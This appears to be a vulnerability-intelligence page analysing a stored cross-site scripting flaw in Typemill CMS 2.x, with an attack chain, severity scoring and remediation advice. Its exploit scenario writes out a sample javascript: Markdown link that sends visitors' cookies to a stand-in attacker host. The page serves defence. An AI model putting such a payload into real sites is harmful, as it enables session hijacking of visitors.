Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker acquires theme-configuration credentials
-
DeliveryCraft javascript: URI Markdown link
-
ExploitStore payload in CMS content area
-
InstallVictim visits page containing injected link
-
C2Victim clicks rendered anchor tag
-
ExecuteBrowser executes JavaScript payload
-
ImpactSession cookie or credentials exfiltrated to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated account with theme-configuration access in Typemill CMS - a high-privilege administrative role, confirmed by PR:H in the CVSS 4.0 vector. The attacker must have write access to content fields rendered through ParsedownExtension.php or TwigMarkdownExtension.php. Secondary exploitation of the stored payload additionally requires a victim site visitor to actively click the injected Markdown-rendered anchor link (UI:A per CVSS). Exploitation is concretely limited by: (1) the requirement for a high-privilege Typemill session to inject the payload, excluding unauthenticated or low-privilege attackers entirely; (2) mandatory victim click interaction, meaning passive page-load does not trigger the payload; and (3) Content Security Policy headers, if deployed, which can block javascript: URI execution in compliant browsers. The highest-risk deployment is one where theme-configuration access is granted to multiple users of varying trust levels rather than restricted to a single site owner. |
| Impact | The CVSS 4.0 score of 4.6 with vector AV:N/AC:L/AT:N/PR:H/UI:A accurately reflects a constrained attack surface: exploitation requires a high-privilege authenticated session (theme-configuration access) and mandates that a victim actively click the rendered link. PR:H is the primary risk limiter - this is not a mass-exploitation candidate achievable by unauthenticated or low-privilege users. The stored nature of the XSS, however, is an aggravating factor beyond what the score alone conveys: once injected, the payload fires against all future visitors without additional attacker interaction, providing persistent impact with no ongoing attacker presence. No EPSS data was provided; given the high privilege prerequisite and required user interaction, opportunistic or automated exploitation is unlikely. The absence of a KEV listing and public POC further supports a low-urgency posture for most organizations. The primary realistic risk scenario is a multi-tenant or low-trust deployment where non-owner users are granted theme-configuration access - a configuration that amplifies the trust boundary issue. The CVSS VC:N metric is technically consistent with server-side scope, but defenders should note that browser-side session data (cookies) and credentials are at risk, which the description confirms. |
| Exploit ScenarioDerived | An attacker who has obtained theme-configuration credentials - through credential stuffing, phishing, or insider access - navigates to a Markdown-editable content area and saves a link such as [Read More](javascript:fetch('https://attacker.example/?c='+document.cookie)), embedding the payload in persistent CMS storage. Every subsequent site visitor who clicks the rendered link triggers exfiltration of their session cookie to the attacker-controlled endpoint, enabling session hijacking without any further attacker interaction. No public exploit code has been identified, but the attack technique requires only basic knowledge of the javascript: URI scheme and is trivially reproducible. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 10, 2026
Persistent XSS in Typemill CMS 2.x enables authenticated users holding theme-configuration access to store malicious JavaScript URI payloads via Markdown link syntax, which execute in victim browsers upon link click. The vulnerability exists in ParsedownExtension.php and TwigMarkdownExtension.php, where href values in Markdown links are rendered into HTML anchor tags without filtering the javascript: URI scheme, resulting in stored payloads that persist across all page loads. Successful exploitation delivers session cookie theft, authenticated request forgery, and credential harvesting against every visitor who clicks an injected link. No public exploit code or CISA KEV listing has been identified at time of analysis.
RemediationAI
Upgrade Typemill CMS to version 2.23.0 or later, which contains the vendor-released patch resolving the javascript: URI injection in Markdown link processing; the release is available at https://github.com/typemill/typemill/releases/tag/2.23.0. If immediate upgrade is not feasible, restrict theme-configuration access exclusively to fully trusted, vetted administrative accounts - since the vulnerability is gated on that privilege level, eliminating untrusted access to that role eliminates the attack path. As an additional compensating control, deploying a Content Security Policy header with a restrictive default-src or script-src directive (e.g., script-src 'self') can cause modern browsers to block javascript: URI execution, though this does not remove the stored payload and may interfere with legitimate site JavaScript. Administrators should audit existing Markdown content for links containing the javascript: scheme as part of post-patch remediation, as prior exploitation would leave persistent payloads in place until removed or overwritten.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Typemill is a PHP flat-file CMS that delegates content rendering to Markdown parser extensions built atop the Parsedown library. Two extension files - ParsedownExtension.php and TwigMarkdownExtension.php - process Markdown link syntax ([text](href)) and emit HTML anchor tags. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation): neither extension validates the URI scheme of href values before embedding them in output HTML, allowing the javascript: scheme to survive into rendered page markup as a stored payload. Because the payload is stored server-side in flat files rather than reflected in a single request, it executes in every victim browser that encounters and clicks the injected anchor, multiplying impact beyond the moment of injection. Affected product per CPE: cpe:2.3:a:typemill:typemill:*:*:*:*:*:*:*:* - all 2.x versions prior to 2.23.0.
Know when Typemill gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L
High-privilege auth and victim click required; scope changes to victim browser enabling cookie theft, so S:C with C:L/I:L and no server-side availability impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Typemill CMS version 2.x contains a persistent cross-site scripting vulnerability in the Markdown parser extension that allows authenticated users with theme-configuration access to inject malicious JavaScript URIs by supplying unsanitized href values in Markdown links. Attackers can craft Markdown links using the javascript: scheme through ParsedownExtension.php or TwigMarkdownExtension.php, storing a persistent payload that executes in the browser of every visitor who clicks the link, enabling session cookie theft, authenticated request forgery, and credential harvesting.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Typemill v1.5.3 was discovered to contain an arbitrary file upload vulnerability via the upload function. Rated high sev
Reflected XSS in Typemill's login error page allows unauthenticated attackers to inject malicious scripts by crafting re
Credential brute-forcing against Typemill CMS (versions up to and including 2.25.0) is possible because its primary pass
Stored HTML attribute injection in Typemill versions prior to 2.23.0 allows authenticated content editors to embed arbit
Arbitrary file read in Typemill before 2.24.0 allows authenticated Author-level users to traverse outside the content di
Stored cross-site scripting in the Typemill flat-file CMS through 2.26.0 allows an authenticated user with media/image u
EUVD-2026-55793
GHSA-8vfw-vh7q-p649
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB